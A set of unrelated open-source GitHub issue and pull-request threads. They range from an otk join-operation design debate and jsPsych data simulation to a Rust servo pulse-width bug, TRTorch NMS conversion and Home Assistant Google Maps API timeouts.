RFC: define a single otk.op.join

I wonder if we can simply avoid having the user care about the type when doing a join operation. It seems mostly a burden to the user and we need to check during compilation of the otk file anyway so maybe we can just leave it out?
P.S. Having an example use-case for both would be really good, I'm wonder if we only should add things to the spec once we actually use it in the example/* tree ?

My reasoning for this was that having separate operations per type allows us to have separate arguments per type. For a map erroring on duplicates (or overwriting them) makes sense. For a sequence less so.

My reasoning for this was that having separate operations per type allows us to have separate arguments per type. For a map erroring on duplicates (or overwriting them) makes sense. For a sequence less so.

Thanks! I'm not sure I follow - if otk.op.join would be used on two maps with duplicates it would still error. If it is used on two sequences with duplicates it would not. Mixing the two is not allowed. What am I missing?

My reasoning for this was that having separate operations per type allows us to have separate arguments per type. For a map erroring on duplicates (or overwriting them) makes sense. For a sequence less so.

Thanks! I'm not sure I follow - if otk.op.join would be used on two maps with duplicates it would still error. If it is used on two sequences with duplicates it would not. Mixing the two is not allowed. What am I missing?

Wanting to define the behavior, for example:
otk.op.map.join:
  duplicates: overwrite
  values:
    - key:
        one
    - key:
        two

The duplicates key would not be very sensical on the otk.op.seq.join I feel?

My reasoning for this was that having separate operations per type allows us to have separate arguments per type. For a map erroring on duplicates (or overwriting them) makes sense. For a sequence less so.

Thanks! I'm not sure I follow - if otk.op.join would be used on two maps with duplicates it would still error. If it is used on two sequences with duplicates it would not. Mixing the two is not allowed. What am I missing?

Wanting to define the behavior, for example (don't pin me on this one ;)).
otk.op.map.join:
  duplicates: overwrite
  values:
    - key:
        one
    - key:
        two

The duplicates key would not do anything on the otk.op.seq.join I feel?

Thank you! That is interesting (and the context I was looking for!). We could start with what popular languages like python are doing:

duplicated keys in a map get replaced by "later" joins (essentially meaning overwrite)
seq are just joined

I like the idea of the users having a say here though, so once the above is not good enough anymore, we could add rules like
duplicates: [error, overwrite]

and then we could decide to error if "overwrite" is used on sequences. Or we could also "bend" the definition and "de-duplicate/replace/overwrite" keys in a seqence if later sequences also define it (not sure I like it or not but it's an option :)

I fixed the conflicts, sorry that this took me a bit

This does still need the implementation change at: https://github.com/osbuild/otk/blob/main/src/otk/directive.py#L107-L154 and https://github.com/osbuild/otk/blob/main/src/otk/transform.py#L51-L52 :)

Duplicate keys in maps are considered an error.

It might be nice to have a test for this (unless there is one already and I missed it)

There's no test for it (yet) and the code doesn't actually check this: https://github.com/osbuild/otk/blob/9ead440ab1282dec1e25877180d105b38fbef177/src/otk/directive.py#L148
It should straightforward to add, or reconsider if it should be an error.

@mvo5 you imported List in the wrong module ;)

@mvo5 you imported List in the wrong module ;)

Silly me, sorry for that! Fwiw, make type gives me a bunch of errors so I did not see this one but it's not really important at this point (the wrong List import is hopefully fixed now).


Modified the error in the comments of BulkTest.java

The incorrect variable name will mislead readers.

@dota17
The title of this PR is "Modified the error in javadoc of BulkTest" but this is a code change, not a Javadoc change.
Do you mean to change the Javadoc or the code? Why is the code wrong?
Thank you!
Gary

@garydgregory
The code in the comments of BulkTest.java shows the reader how to define both simple and bulk test method.
The method bulkTestKeySet() in class HashMapTest wants to define a bulk test method, so it should invoke the SetTest() method which is a constructer of SetTest class rather than the TestSet() method which is not defined. This spelling mistake confused me a lot at first.
Chen

I think this is a Javadoc change @garydgregory . At first also thought it was a code change. Then looked at the IDE, and realized it was a change in the example code, in the Javadoc of BulkTest.java.

The TestSet does not exist in the project, but is mentioned also in the Javadocs, just a few lines above.

@dota17 I've updated the title, hope that's OK.


Fix spawning executable on windows

According to documentation https://nodejs.org/api/child_process.html#child_process_spawning_bat_and_cmd_files_on_windows made quick modification. Installing teal lang with luarocks install tl on windows creates .bat file not .exe

Cool, thanks!


Show the sequence / shot in the explorer

Description
When browsing the tasks of a shot in the explorer, we don't actually know the sequence we are currently in because the shot number could be included in another sequence.
For example:

Solution
It should show SQ01 / SH01

Should be fixed by #46


Rename package

Your package name uses the same naming convention as the official ASP.NET packages. This is already causing confusion on stack overflow.
Please rename everything so they are not under the Microsoft namespace and republish the packages.

MS Legal is going to have a field day with that one. :smile:

Oh goodness I have no intention of even involving them. I hope for a voluntary rename because if the obvious risk of confusion.

I was just kidding around. Eventually tho ... eventually ... they'll see it and freak. You've done them a big favor by noting it here. Best to pro-actively fix it before the 🔪 start flying. lol

Hey guys, no problems, I will get this sorted out.

Thanks :) I've already seen confusion on stack overflow, which is what lead me here, hehe.

Hello from 2024. 😂
In the meantime an (official) Microsoft.AspNetCore.Authentication.Negotiate package was released and Configure Windows Authentication in ASP.NET Core explains how to use it.


[FCE-576]: Update quick setup docs to use proper names

Description

Updated docs to work out of the box

@karkakol

Let's not a screenshot for now and let's discuss later if we need it
Added the permissions step to #Installation doc
Added missing types


Create CoinFlippingGame.py

Thanks for merging my pull request.

Unable to take input for proper execution. Kindly make the necessary changes and create a new PR.


Data Simulation Functionality

In my experience, subtle errors in my experiments are often best found through a careful examination of participant datasets, however, in order to generate artificial test data from jsPsych experiments, one has to run through the experiment manually.
Such a process often results in missing errors in the counterbalancing and trial ordering of experiments, as these variables can only be assessed through the evaluation of many participant's datasets. One dataset will not reveal to an experimenter whether the trials are being properly counterbalanced etc...
I envision a system wherein each plugin has an associated manifest, documenting the expected ranges of values (and perhaps even distributions) of each variable being saved per trial (e.g., RT is a numeric between 0 and 5000 ms; likert scales always range between 1 and 7). Then there would be a simulate function that would progress through the experiment rapidly and automatically, saving dataset in the same format as real participant data.
Such a feature would also allow for the rapid prototyping and pre-registration of analysis plans.
Is this already possible in jsPsych? If not, would there be interest in developing such a system? I may be willing and able to contribute to such an effort.

I think this would be great. There's been some uncoordinated discussion of a "debug mode" before (#358) and this would be a logical option within that mode. I'm very open to any contributions along this line.

Just came here to say something along these lines would be fantastic. Hoping to find some time to contribute if I can.

I can think of at least two ways to implement this. I'm sure there are others, but I thought I'd quickly describe these two approaches in the interest of jump starting work. Both approaches are similar to what @Brendan-Schuetze described.
Option 1: Expand plugin.info data
Currently plugin.info contains metadata about the parameters, but no information about the expected data. We could expand this for each plugin. For example, the html-keyboard-response plugin might look like this:
plugin.info = {
    name: 'html-keyboard-response',
    description: '',
    parameters: { ... },
    data: {
      rt: {
        type: jsPsych.plugins.dataType.FLOAT,
        default: function() { return 200 + Math.random()*800 }
      },
      key_press: {
        type: jsPsych.plugins.dataType.KEY,
        default: function() { return jsPsych.randomization.sampleWithoutReplacement([80, 81, 82], 1)[0]; },
      }
    }
}

A couple issues come to mind with this approach:

It's hard to specify a default value that makes sense for every experiment. So we would probably need a way to either make the defaults sensitive to the trial parameters (e.g., restrict the default for key_press to valid choices).
It's not clear to me exactly what the right way to use this information is. We still would need some kind of simulation method that runs through the experiment.

Option 2: plugin.simulate method
We could add a plugin.simulate method to every plugin. The method would specify the interactions that the user would normally do for the trial. For html-keyboard-response it might look like this:
plugin.simulate = function(trial) {
   if(trial.choices !== jsPsych.NO_KEYS) {
     var key_response = jsPsych.randomization.sampleWithoutReplacement(trial.choices, 1)[0];
     setTimeout(function(){
       document.querySelector('.jspsych-display-element').dispatchEvent(new KeyboardEvent('keydown', {keyCode: key_response}));
       document.querySelector('.jspsych-display-element').dispatchEvent(new KeyboardEvent('keyup', {keyCode: key_response}));
      }, 250);
  }
}

This approach is pretty flexible. It could even be parameterized by the experimenter, e.g., replacing the 250 with a parameter like trial.simulate.response_time.
A downside is that it's a real-time simulation. It would be automated, but slow. There might be a way to implement fake timers so that any timed events are executed immediately instead of in real time, but that would complicate implementation.

As an option to consider before adding full simulation of possible responses, it would be worth having null values as place holders inserted into the data object. For example, a use case for me would be to pull in the data to R, then use the factor/trial structure represented in the data to guide simulation of results done in R (or language of choice).

Option 1 and 2 look like really good starting points to me.
Also, I realized I could just the trial duration to 0 globally in jsPsych.init:
on_trial_start: function(trial) {
    trial.trial_duration = 0;
  }

and that rapidly runs the experiment and produces a data object (without simulated data, but with placeholders).
Could work with option 1: the default values produce simulated results, and the simulation is run quickly because trial_duration is 0 for all trials.

Great point @CrumpLab. I think most, but not all plugins currently support trial_duration. It might be worth making that parameter universal to make a debug mode easier.

I'm very interested in something like this both for debugging and for enabling simulated/artificial participants. My research involves computational modelling of human behaviour, so I've used jsPsych for the experiments with human participants and then coded the same experiment in Python to use for my artificial participants.
So something like option 2 combined with the possibility of exposing the stimuli and response option would be awesome, as I could then use the same experiment code for humans and artificial participants. I've thought of creating a wrapper of jsPsych for openai gym but haven't had the time to look into how that would work.
Then again what I'd like might be too complicated to implement and should be made separately from a debug/simulation mode?

Is anyone working on this? I have implemented @jodeleeuw suggestion for Option 2, using a simulate method. It is called after the trial() method in jsPsych.
There are of course plugin-specific things to consider, but, by and large, this is working like a charm. I am considering extending this for my own work by adding 2 key parameters: simulate (boolean, true/false, whether to simulate a specific trial) and simulate_opts (object, would provide instructions for specific plugins/parameters*). Both these parameters would be available both within jsPsych.init() method (in order to control simulation options across the experiment) and within a specific trial (where trial-specific values take precedence).
@jodeleeuw If nobody is working on this, I would be happy to try and invest more time in this as I feel it would be a valuable contribution. The trouble is that I might have the occasional question (i.e. email) to ensure I am complying with jsPsych's architecture. Would that be of interest?
*Current problems I've encountered:

response_ends_trial is set to false. In this case simply triggering keyboard/click event does not suffice. My current solution involves changing the value to true within the simulate method.
discrepancy between stimulus_duration and trial_duration. This is a natural consequence of the above. Not 100% sure how this one will pan out yet. One solution might be to call the simulate() method before the trial() one in the core file (in the doTrial() function), but that might cause a host of further problems (e.g. lingering event/time handlers) that are handled by the trial() method. Might be solved by adjusting any one specific trial parameter's values when a trial's values are set (this would be in the setDefaultValues function within doTrial())
how long should the time spent on each trial be for the simulation. That would be handled in the simulate_opts object as an additional key-value pair. Notably, the simulate_opts  object might need to be passed to the simulate() method for each plugin -- or at least I am not managing my namespace properly (most likely that latter!)
how to handle unpassable trials. By an unpassable trial I mean something like an html-keyboard-response trial that has choices set to jsPsych.NO_KEYS and trial_duration set to null or an instructions trial, where allow_keys is set to false and show_clickable_nav is also set to false. Raising an error, in this case, might be best.
etc

@jodeleeuw 's Option 2 of a simulate method is implemented -- #1886


Servo set max pulse width math is incorrect

    /// Set the servo's maximum pulse width
    pub fn set_max_pulse_width(&mut self, value: u64) {
        if value >= self.frame_width {

The default frame_width is set to 20, while the default max_pulse_width is 2000.  However, my servo goes to 2100.  I'm unable to change this because as seen above, 2100 >= 20.
To work around this, I have to set frame_width to something greater than 2100, increase max_pulse_width to 2100, and then decrease frame_width back to 20.

I will have to look into this. Thanks

Hi there, just took a look at this and made a PR. @rahul-thakoor
Cheers!

The particular issue mentioned originally has to do with the way we compare frame width (milliseconds) to max and min pulse width (microseconds). Working on a PR to fix it.

hey @azjkjensen
so we should keep
                    min_pulse_width: 1000,
                    max_pulse_width: 2000,

? ie #14 shouldn't be merged but #18 merged instead?

After some more investigation, actually neither. If we go the #14 route and use ms, the struct fields for max_pulse_width, min_pulse_width, and frame_width should all be changed to float types. These values for some servos (such as https://servodatabase.com/servo/towerpro/sg90) require more granularity.
Alternatively, we can use microseconds for these fields instead, diverging from the Python library but potentially remaining more performant and Rust-friendly. Defaulting these values to microseconds would allow us to continue to use unsigned types, avoiding floating-point arithmetic for each operation.

hey, @AldaronLau any thoughts on this?

@rahul-thakoor @azjkjensen How about instead of deciding between floating-point milliseconds and integer microseconds, we use the Duration type from the standard library?  It seems like the perfect fit for this situation (it also avoids floating point, and in my opinion is the more Rust-friendly to do things - and not too divergent from the Python library).


Error with SBCL 2.4.0

I get the following error with SBCL 2.4.0 (on GNU/Linux x86-64):
; compiling file "/gnu/store/zpcb4zs0bhazzdb3l9jz11pbnymar2nw-sbcl-fast-generic-functions-0.0.0-1.9c307cd/share/common-lisp/sbcl/fast-generic-functions/code/expand-effective-method-body.lisp" (written 01 JAN 1970 12:00:00 AM):
;
; caught ERROR:
;   READ error during COMPILE-FILE:
;
;     Lock on package SB-PCL violated when interning %NO-PRIMARY-METHOD while in
;     package FAST-GENERIC-FUNCTIONS.
;   See also:
;     The SBCL Manual, Node "Package Locks"
;
;     (in form starting at line: 3, column: 0, position: 39)

; compilation aborted after 0:00:00.000
Unhandled UIOP/LISP-BUILD:COMPILE-FILE-ERROR in thread #<SB-THREAD:THREAD tid=28 "main thread" RUNNING
                                                          {1001460003}>:
  COMPILE-FILE-ERROR while compiling
   #<CL-SOURCE-FILE "fast-generic-functions" "expand-effective-method-body">

A temporary workaround suggested by @edwlan in Common Lisp matrix room unlocks the entire sb-pcl package.
(sb-ext:unlock-package :sb-pcl)

Are there any workarounds for this issue that don't involve unlocking entire packages?


Selected Tab in sideNav doesn't have sufficient contrast.

Describe the bug
Selected tab in the Side nav doesn't have sufficient contrast. This issue is present in clarity v5 as well
Currently the background-color is #fafafa and selected tab background color is #d8e3e9.
Contract checker : https://www.levelaccess.com/color-contrast-checker/
How to reproduce
https://clarity.design/angular-components/sidenav/#code-examples
Steps to reproduce the behavior:

Go to https://clarity.design/angular-components/sidenav/#code-examples
See the example provided.

Expected behavior
Current Contrast ratio between selected tab background and Page background is 1.25:1 . This value has to be more than 3:1.
Versions
Clarity project:

[ ] Clarity Core
[x] Clarity Angular/UI

Clarity version:

[x] v3.x
[x] v4.x
[x] v5.x

Framework:

[x] Angular
[ ] React
[ ] Vue
[ ] Other:

Framework version:
Angular 10
Clarity 5
Device:

Type: MacBook
OS: Catalina
Browser: chrome
Version: 90

Thanks for reporting this issue. We will look into it further.
@scroniser and @colinreedmiller - are you able to weigh in here on the best way to update the selected tab color to meet the 3:1 contrast ratio?

Thanks @scroniser - since this is being tracked internally I'm going to close it here.
Clarity cares deeply about accessibility, and we work with our accessibility team to identify and triage issues. We have an internal tracking system to identify and verify accessibility issues, which has captured this already. Some issues with Clarity Angular are difficult to solve without causing side effects or breaking changes, and we have to balance concerns with fixing issues and breaking changes. As we build out Clarity Core, we are able to address these root cause accessibility issues and recommend adopting the Clarity Core implementations as they become available. We are closing this issue as we have the issues tracked internally. Please follow our development and releases to see when we release relevant Clarity Core components to make this possible.


wrong example in golang filter docs: Unrecognized option

Title: One line description
Description: wrong example in golang filter docs
When I follow the example run this command, get "Unrecognized option" ERROR:
$ bazel run @go_sdk//:bin/go build --buildmode=c-shared  -v -o path/to/output/libfoo.so path/to/src/foo
ERROR: --buildmode=c-shared :: Unrecognized option: --buildmode=c-shared

and, the following command work fine:
$ bazel run @go_sdk//:bin/go build -- --buildmode=c-shared  -v -o path/to/output/libfoo.so path/to/src/foo
INFO: Analyzed target @go_sdk//:bin/go (0 packages loaded, 0 targets configured).


HttpUrlConnection POST Request with JSON (BAEL-2737)

@pivovarit I have written a sample program for posting JSON content with HttpURLConnection. Please verify the same

@cupendra could you make sure that the change involves only article-related code?

Closing this request as it has many commits


❓ Is it possible to use TRTorch with batchedNMSPlugin for TensorRT?

❓ Question

What you have already tried
Hi, I am trying to convert detectron2 traced keypoint-rcnn model that contains ops from torchvision like torchvision::nms. I get the following error:

terminate called after throwing an instance of 'torch::jit::ErrorReport'
what():
Unknown builtin op: torchvision::nms.
Could not find any similar ops to torchvision::nms. This op may not exist or may not be currently supported in TorchScript.
:
File "/usr/local/lib/python3.7/dist-packages/torchvision/ops/boxes.py", line 36
"""
_assert_has_ops()
return torch.ops.torchvision.nms(boxes, scores, iou_threshold)
~~~~~~~~~~~~~~~~~~~~~~~~~ <--- HERE
Serialized   File "code/torch/torchvision/ops/boxes.py", line 26
_8 = torch.torchvision.extension._assert_has_ops
_9 = _8()
_10 = ops.torchvision.nms(boxes, scores, iou_threshold)
~~~~~~~~~~~~~~~~~~~ <--- HERE
return _10
'nms' is being compiled since it was called from 'batched_nms'
File "/usr/local/lib/python3.7/dist-packages/torchvision/ops/boxes.py", line 75
offsets = idxs.to(boxes) * (max_coordinate + torch.tensor(1).to(boxes))
boxes_for_nms = boxes + offsets[:, None]
keep = nms(boxes_for_nms, scores, iou_threshold)
~~~ <--- HERE
return keep
Serialized   File "code/torch/torchvision/ops/boxes.py", line 18
_7 = torch.slice(offsets, 0, 0,<PHONE_NUMBER>854775807, 1)
boxes_for_nms = torch.add(boxes, torch.unsqueeze(_7, 1), alpha=1)
keep = torch.torchvision.ops.boxes.nms(boxes_for_nms, scores, iou_threshold, )
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ <--- HERE
_0 = keep
return _0
'batched_nms' is being compiled since it was called from 'RPN.forward'
Serialized   File "code/torch/detectron2/modeling/proposal_generator/rpn.py", line 19
argument_9: Tensor,
image_size: Tensor) -> Tensor:
_0 = torch.torchvision.ops.boxes.batched_nms
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ <--- HERE
_1 = self.rpn_head
_2 = (self.anchor_generator).forward(argument_1, argument_2, argument_3, argument_4, argument_5, argument_6, argument_7, argument_8, )

Environment

PyTorch Version: 1.8.0
CPU Architecture: arm64
OS (e.g., Linux): Ubuntu 18.04
How you installed PyTorch (conda, pip, libtorch, source): .whl file for jetson
Build command you used (if compiling from source): bazel build //:libtrtorch
Are you using local sources or building from archives: Local
Python version: 3.7
CUDA version: 10.2
GPU models and configuration: Nvidia Jetson Xavier nx
Any other relevant information: torchvision C++ API compiled locally

Additional context
I know that there is batchedNMSPlugin for TensorRT, but I have no idea how to include it for conversion. I'd appreciate any advice.

I think we dont currently have an NMS converter, but it should be supportable in theory. The issue here is not with trtorch however. The issue is that NMS in pytorch is provided by torchvision as an extension. So you must make sure to load torchvision in your program. In the case of Python you can just import torchvision, in the case of C++ you need to link against the internal C++ library in torchvision. Here is some context on how to do that https://github.com/pytorch/vision/issues/2134 That should remove this issue and give you a TRTorch one saying the nms op doesnt have a converter. From that point you can follow the example of the GELU converter to create a converter that uses a TensorRT plugin https://github.com/NVIDIA/TRTorch/blob/03a6ca432ef34690fee25bd43c95bd7184530088/core/conversion/converters/impl/activation.cpp#L170

@narendasan thanks for such a quick reply, I got past that problem, however I am now stuck at
Unable to convert node: %151 : int = aten::Int(%150) (conversion.AddLayer) Schema: aten::Int.Tensor(Tensor a) -> (int) Converter for aten::Int requested, but no such converter was found
I am trying to implement this converter myself but I am getting ITensor as an argument and I have no idea how to work with that. I would appreciate it if you could also give me a hint on how to convert ITensor to int and return it. Thanks

hi @VRSEN could you please provide some details of how did you manage to use batchedNMS with TensorRT?
Thank you

@maiskovich Sorry for my long silence.
I did this a while back and can't remember the process but I think this is the file you're looking for:
https://github.com/VRSEN/TRTorch/blob/d019ecf4f6f66d8d6cb02f89b104b902264d049c/core/conversion/converters/impl/nms.cpp


Could not load file or assembly or one of its dependencies, ClrPhlib

When trying to load v1.8 on Windows 8.1.

You need to download the lastest Microsoft Visual C++ Redistributable for Visual Studio 2017:
https://support.microsoft.com/en-us/help/2977003/the-latest-supported-visual-c-downloads
Direct link here: https://aka.ms/vs/15/release/vc_redist.x64.exe

@wpa1160 : Thanks, that was my guess too.
@tomcourt : you are the first person I know to test Dependencies on Win8.1 !  Congratulation, you've been hired as a beta-tester 😄


Google Maps Issue

Home Assistant release with the issue: 0:76.2
Last working Home Assistant release (if known): The previous one
Operating environment (Hass.io/Docker/Windows/etc.):
Hass.io
Component/platform:
Google Maps Travel Time
Description of problem:
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
  File "/usr/local/lib/python3.6/site-packages/googlemaps/client.py", line 253, in _request
    result = self._get_body(response)
  File "/usr/local/lib/python3.6/site-packages/googlemaps/client.py", line 276, in _get_body
    raise googlemaps.exceptions._RetriableRequest()
googlemaps.exceptions._RetriableRequest

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/local/lib/python3.6/concurrent/futures/thread.py", line 56, in run
    result = self.fn(*self.args, **self.kwargs)
  File "/usr/local/lib/python3.6/site-packages/homeassistant/components/sensor/google_travel_time.py", line 112, in run_setup
    hass, name, api_key, origin, destination, options)
  File "/usr/local/lib/python3.6/site-packages/homeassistant/components/sensor/google_travel_time.py", line 147, in __init__
    self.update()
  File "/usr/local/lib/python3.6/site-packages/homeassistant/util/__init__.py", line 325, in wrapper
    result = method(*args, **kwargs)
  File "/usr/local/lib/python3.6/site-packages/homeassistant/components/sensor/google_travel_time.py", line 228, in update
    self._origin, self._destination, **options_copy)
  File "/usr/local/lib/python3.6/site-packages/googlemaps/client.py", line 356, in wrapper
    result = func(*args, **kwargs)
  File "/usr/local/lib/python3.6/site-packages/googlemaps/distance_matrix.py", line 130, in distance_matrix
    return client._request("/maps/api/distancematrix/json", params)
  File "/usr/local/lib/python3.6/site-packages/googlemaps/client.py", line 260, in _request
    extract_body, requests_kwargs, post_json)
  File "/usr/local/lib/python3.6/site-packages/googlemaps/client.py", line 260, in _request
    extract_body, requests_kwargs, post_json)
  File "/usr/local/lib/python3.6/site-packages/googlemaps/client.py", line 260, in _request
    extract_body, requests_kwargs, post_json)
  [Previous line repeated 8 more times]
  File "/usr/local/lib/python3.6/site-packages/googlemaps/client.py", line 203, in _request
    raise googlemaps.exceptions.Timeout()
googlemaps.exceptions.Timeout

Home-Assistant isn't fetching travel time anymore.
Problem-relevant configuration.yaml entries and (fill out even if it seems unimportant):
- platform: google_travel_time
  name: home_to_hlb
  api_key: <Key>
  origin: <Address>
  destination: <Address>

Traceback (if applicable):
Traceback (most recent call last):
  File "/usr/local/lib/python3.6/concurrent/futures/thread.py", line 56, in run
    result = self.fn(*self.args, **self.kwargs)
  File "/usr/local/lib/python3.6/site-packages/homeassistant/components/sensor/google_travel_time.py", line 112, in run_setup
    hass, name, api_key, origin, destination, options)
  File "/usr/local/lib/python3.6/site-packages/homeassistant/components/sensor/google_travel_time.py", line 147, in __init__
    self.update()
  File "/usr/local/lib/python3.6/site-packages/homeassistant/util/__init__.py", line 325, in wrapper
    result = method(*args, **kwargs)
  File "/usr/local/lib/python3.6/site-packages/homeassistant/components/sensor/google_travel_time.py", line 228, in update
    self._origin, self._destination, **options_copy)
  File "/usr/local/lib/python3.6/site-packages/googlemaps/client.py", line 356, in wrapper
    result = func(*args, **kwargs)
  File "/usr/local/lib/python3.6/site-packages/googlemaps/distance_matrix.py", line 130, in distance_matrix
    return client._request("/maps/api/distancematrix/json", params)
  File "/usr/local/lib/python3.6/site-packages/googlemaps/client.py", line 260, in _request
    extract_body, requests_kwargs, post_json)
  File "/usr/local/lib/python3.6/site-packages/googlemaps/client.py", line 260, in _request
    extract_body, requests_kwargs, post_json)
  File "/usr/local/lib/python3.6/site-packages/googlemaps/client.py", line 260, in _request
    extract_body, requests_kwargs, post_json)
  [Previous line repeated 8 more times]
  File "/usr/local/lib/python3.6/site-packages/googlemaps/client.py", line 203, in _request
    raise googlemaps.exceptions.Timeout()
googlemaps.exceptions.Timeout

Additional information:

Hmm, it works here

What hardware are you running this on?

@mababio Running it on an Intel NUC with Proxmox, which runs a Ubuntu VM with Hassio!

Hi, I have the same issue.
Release 0.76.2
Traceback (most recent call last):
File "/srv/homeassistant/homeassistant_venv/lib/python3.5/site-packages/googlemaps/client.py", line 253, in _request
result = self._get_body(response)
File "/srv/homeassistant/homeassistant_venv/lib/python3.5/site-packages/googlemaps/client.py", line 276, in _get_body
raise googlemaps.exceptions._RetriableRequest()
googlemaps.exceptions._RetriableRequest
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/usr/lib/python3.5/concurrent/futures/thread.py", line 55, in run
result = self.fn(*self.args, **self.kwargs)
File "/srv/homeassistant/homeassistant_venv/lib/python3.5/site-packages/homeassistant/components/sensor/google_travel_time.py", line 112, in run_setup
hass, name, api_key, origin, destination, options)
File "/srv/homeassistant/homeassistant_venv/lib/python3.5/site-packages/homeassistant/components/sensor/google_travel_time.py", line 147, in init
self.update()
File "/srv/homeassistant/homeassistant_venv/lib/python3.5/site-packages/homeassistant/util/init.py", line 325, in wrapper
result = method(*args, **kwargs)
File "/srv/homeassistant/homeassistant_venv/lib/python3.5/site-packages/homeassistant/components/sensor/google_travel_time.py", line 228, in update
self._origin, self._destination, **options_copy)
File "/srv/homeassistant/homeassistant_venv/lib/python3.5/site-packages/googlemaps/client.py", line 356, in wrapper
result = func(*args, **kwargs)
File "/srv/homeassistant/homeassistant_venv/lib/python3.5/site-packages/googlemaps/distance_matrix.py", line 130, in distance_matrix
return client._request("/maps/api/distancematrix/json", params)
File "/srv/homeassistant/homeassistant_venv/lib/python3.5/site-packages/googlemaps/client.py", line 260, in _request
extract_body, requests_kwargs, post_json)
File "/srv/homeassistant/homeassistant_venv/lib/python3.5/site-packages/googlemaps/client.py", line 260, in _request
extract_body, requests_kwargs, post_json)
File "/srv/homeassistant/homeassistant_venv/lib/python3.5/site-packages/googlemaps/client.py", line 260, in _request
extract_body, requests_kwargs, post_json)
File "/srv/homeassistant/homeassistant_venv/lib/python3.5/site-packages/googlemaps/client.py", line 260, in _request
extract_body, requests_kwargs, post_json)
File "/srv/homeassistant/homeassistant_venv/lib/python3.5/site-packages/googlemaps/client.py", line 260, in _request
extract_body, requests_kwargs, post_json)
File "/srv/homeassistant/homeassistant_venv/lib/python3.5/site-packages/googlemaps/client.py", line 260, in _request
extract_body, requests_kwargs, post_json)
File "/srv/homeassistant/homeassistant_venv/lib/python3.5/site-packages/googlemaps/client.py", line 260, in _request
extract_body, requests_kwargs, post_json)
File "/srv/homeassistant/homeassistant_venv/lib/python3.5/site-packages/googlemaps/client.py", line 260, in _request
extract_body, requests_kwargs, post_json)
File "/srv/homeassistant/homeassistant_venv/lib/python3.5/site-packages/googlemaps/client.py", line 260, in _request
extract_body, requests_kwargs, post_json)
File "/srv/homeassistant/homeassistant_venv/lib/python3.5/site-packages/googlemaps/client.py", line 260, in _request
extract_body, requests_kwargs, post_json)
File "/srv/homeassistant/homeassistant_venv/lib/python3.5/site-packages/googlemaps/client.py", line 260, in _request
extract_body, requests_kwargs, post_json)
File "/srv/homeassistant/homeassistant_venv/lib/python3.5/site-packages/googlemaps/client.py", line 260, in _request
extract_body, requests_kwargs, post_json)
File "/srv/homeassistant/homeassistant_venv/lib/python3.5/site-packages/googlemaps/client.py", line 203, in _request
raise googlemaps.exceptions.Timeout()
googlemaps.exceptions.Timeout

@dennisbrouwer91 I asked about the hardware b/c I had a similar issue on a raspberry pi doing something else.
It's working for @Danielhiversen, but not for others.
It's working for @Danielhiversen https://github.com/Danielhiversen, but
not for others. Maybe we should start comparing python environment.
@dennisbrouwer91 https://github.com/dennisbrouwer91 & @Danielhiversen
https://github.com/Danielhiversen share your your python environment.
try pip3 list or something and paste it here
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/home-assistant/home-assistant/issues/16142#issuecomment-415755251,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AQrnfFdNUWxo_ynMB0_KjelyQQykTlL7ks5uT_yEgaJpZM4WI8Hd
.

Seeing the same here with hass.io 0.76.2 on a Pi 3 B
Getting this error over and over and over again:
During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/local/lib/python3.6/site-packages/googlemaps/client.py", line 253, in _request
    result = self._get_body(response)
  File "/usr/local/lib/python3.6/site-packages/googlemaps/client.py", line 276, in _get_body
    raise googlemaps.exceptions._RetriableRequest()
googlemaps.exceptions._RetriableRequest

Was preceded by this error:
Traceback (most recent call last):
  File "/usr/local/lib/python3.6/site-packages/homeassistant/helpers/entity.py", line 199, in async_update_ha_state
    yield from self.async_device_update()
  File "/usr/local/lib/python3.6/site-packages/homeassistant/helpers/entity.py", line 322, in async_device_update
    yield from self.hass.async_add_job(self.update)
  File "/usr/local/lib/python3.6/concurrent/futures/thread.py", line 56, in run
    result = self.fn(*self.args, **self.kwargs)
  File "/usr/local/lib/python3.6/site-packages/homeassistant/util/__init__.py", line 325, in wrapper
    result = method(*args, **kwargs)
  File "/usr/local/lib/python3.6/site-packages/homeassistant/components/sensor/google_travel_time.py", line 228, in update
    self._origin, self._destination, **options_copy)
  File "/usr/local/lib/python3.6/site-packages/googlemaps/client.py", line 356, in wrapper
    result = func(*args, **kwargs)
  File "/usr/local/lib/python3.6/site-packages/googlemaps/distance_matrix.py", line 130, in distance_matrix
    return client._request("/maps/api/distancematrix/json", params)
  File "/usr/local/lib/python3.6/site-packages/googlemaps/client.py", line 260, in _request
    extract_body, requests_kwargs, post_json)
  File "/usr/local/lib/python3.6/site-packages/googlemaps/client.py", line 260, in _request
    extract_body, requests_kwargs, post_json)
  File "/usr/local/lib/python3.6/site-packages/googlemaps/client.py", line 260, in _request
    extract_body, requests_kwargs, post_json)
  [Previous line repeated 7 more times]
  File "/usr/local/lib/python3.6/site-packages/googlemaps/client.py", line 203, in _request
    raise googlemaps.exceptions.Timeout()
googlemaps.exceptions.Timeout

Also having this issue on a NUC running Debian 9 and Hassio

@rpitera That very may be a possibility. I've worked with codebase that depended on Google API and their API failed some times causing cascading issues.

What's funny is that I decided to move to Waze Travel Times, which appears to be having its own error issues... fortunately they only appear once on init and don't seem to repeat or affect the operation of the sensor itself so I've moved over to that platform until this gets figured out.

Hmm. Since my upgrade to 0.77.1 (on a Raspberry Pi 3) I'm having the same issues as many others have reported. Worked in 0.75.x.

Same issue here using Docker.

Can you check your Google project where the API key came from has billing enabled?

I know for a fact mine was when I reported my errors.

I have the same error. I noticed this because my request on the Google Cloud Console went trough the roof, generating over 500 requests per hour.

Running Docker 0.76.2
Billing is enabled
Cloud Console shows Error 403 for those requests

403 is "forbidden" which could either be "too many requests". Does the console show ANY successful requests?
Some more troubleshooting: Is there a quota set on the distance API matrix? Sorry for the vague troubleshooting... I definitely fixed this but I cannot remember how.
I do think in light of Google's billing changes, that we need to handle this error, so that the sensor retains its state when the matrix can't be reached. I've already got a pull request which doesn't seem to be getting anywhere which allows you to use sensors in the options, but maybe I need to fuse the two and try to fix this.

Thats exactly the problem. I do have daily limits set.
